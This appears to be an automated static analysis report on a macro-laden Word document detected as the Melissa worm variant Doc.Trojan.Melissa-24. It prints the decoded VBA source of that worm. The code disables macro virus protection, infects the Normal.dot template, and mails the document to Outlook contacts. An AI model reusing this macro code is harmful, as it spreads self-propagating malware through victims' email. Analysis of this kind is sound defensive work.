Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 13107f93c3a6c70f…

MALICIOUS

Office (OLE)

77.5 KB Created: 1998-10-15 05:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b312e9b9f6fc6a73511b53849632e000 SHA-1: 76724531daadd008602da0a1335ed270b05b99de SHA-256: 13107f93c3a6c70faed51c187ab85b016d4b1185ade1d593bb5627cfde25028d
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing obfuscated VBA macros. The AutoClose macro is designed to execute upon document closure, and it attempts to modify the Normal.dot template to establish persistence. The presence of 'CreateObject' and 'Shell' calls, along with obfuscation, strongly suggests malicious intent, consistent with known macro-based malware.

Heuristics 7

  • ClamAV: Doc.Trojan.Melissa-24 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-24
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 65130 bytes
SHA-256: a75cb14087bb988faefb42ad997f0413bfa478df65944e04b6149a8ced121207
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
On Error Resume Next
Options.ConfirmConversions = 0
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
K44 = Chr(69) + Chr(99) + Chr(108) + Chr(105) + Chr(112) + Chr(115) + Chr(101)
If System.ProfileString("", K44) = Empty Then System.ProfileString("", K44) = Str(0)
If ActiveDocument.Words.Count <= 5 Then Exit Sub
With ActiveDocument.VBProject.VBComponents
H865 = .Item(1).CodeModule.CountOfLines
If Left(.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
Set D778 = .Item(1)
F421 = True
System.ProfileString("", K44) = Str(Val(System.ProfileString("", K44)) + 1)
End If
End With
With NormalTemplate.VBProject.VBComponents
K766 = .Item(1).CodeModule.CountOfLines
If Left(.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
Set D778 = .Item(1)
C625 = True
System.ProfileString("", K44) = Str(Val(System.ProfileString("", K44)) + 1)
Call P103_D186
End If
End With
If C625 <> True And F421 <> True Then GoTo R445
If C625 = True Then D778.CodeModule.AddFromString (Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(67) + Chr(108) + Chr(111) + Chr(115) + Chr(101) + Chr(40) + Chr(41) & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, H865 - 1))
If F421 = True Then D778.CodeModule.AddFromString (Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(79) + Chr(112) + Chr(101) + Chr(110) + Chr(40) + Chr(41) & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, K766 - 1))
R445:
If Val(System.ProfileString("", K44)) = 5 Then
Dim R39, Q43, B864, N842, F120
Set R39 = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))
Set Q43 = R39.GetNameSpace("MAPI")
If R39 = "Outlook" Then
    With ActiveDocument
    If .Saved = False Then
        .Save
        If .Saved = False Then Exit Sub
    End If
    End With
    Q43.Logon Chr(112) + Chr(114) + Chr(111) + Chr(102) + Chr(105) + Chr(108) + Chr(101), Chr(112) + Chr(97) + Chr(115) + Chr(115) + Chr(119) + Chr(111) + Chr(114) + Chr(100)
    For Y = 1 To Q43.AddressLists.Count
        Set V422 = Q43.AddressLists(Y)
        x = 1
        Set B864 = R39.CreateItem(0)
        For oo = 1 To V422.AddressEntries.Count
            N842 = V422.AddressEntries(x)
            B864.Recipients.Add N842
            x = x + 1
            If x > 50 Then oo = V422.AddressEntries.Count
         Next oo
         B864.Subject = Chr(77) + Chr(101) + Chr(115) + Chr(115) + Chr(97) + Chr(103) + Chr(101) + Chr(32) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(32) & Application.UserName
         B864.Body = Chr(72) + Chr(101) + Chr(114) + Chr(101) + Chr(32) + Chr(105) + Chr(115) + Chr(32) + Chr(116) + Chr(104) + Chr(97) + Chr(116) + Chr(32) + Chr(100) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(32) + Chr(121) + Chr(111) + Chr(117) + Chr(32) + Chr(97) + Chr(115) + Chr(107) + Chr(101) + Chr(100) + Chr(32) + Chr(102) + Chr(111) + Chr(114) + Chr(46) + Chr(32) + Chr(32) + Chr(72) + Chr(111) + Chr(112) + Chr(101) + Chr(32) + Chr(121) + Chr(111) + Chr(117) + Chr(32) + Chr(101) + Chr(110) + Chr(106) + Chr(111) + Chr(121) + Chr(32) + Chr(105) + Chr(116) + Chr(32) + Chr(59) + Chr(45) + Chr(41)
         B864.Attachments.Add ActiveDocument.FullName
         B864.Send
         N842 = ""
         Next Y
    Q43.Logoff
    R39.Application.Quit
    R39 = Nothing
  End If
End If
If K766 <> 0 And H865 = 0 Then
    If ActiveDocument.Saved = False Then
        ActiveDocument.Save
    End If
End If
End Sub

'Sub ToolsMacro()
'Q183
'End Sub

'Sub ViewVBCode()
'Q183
'End Sub

'Sub FileTem
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.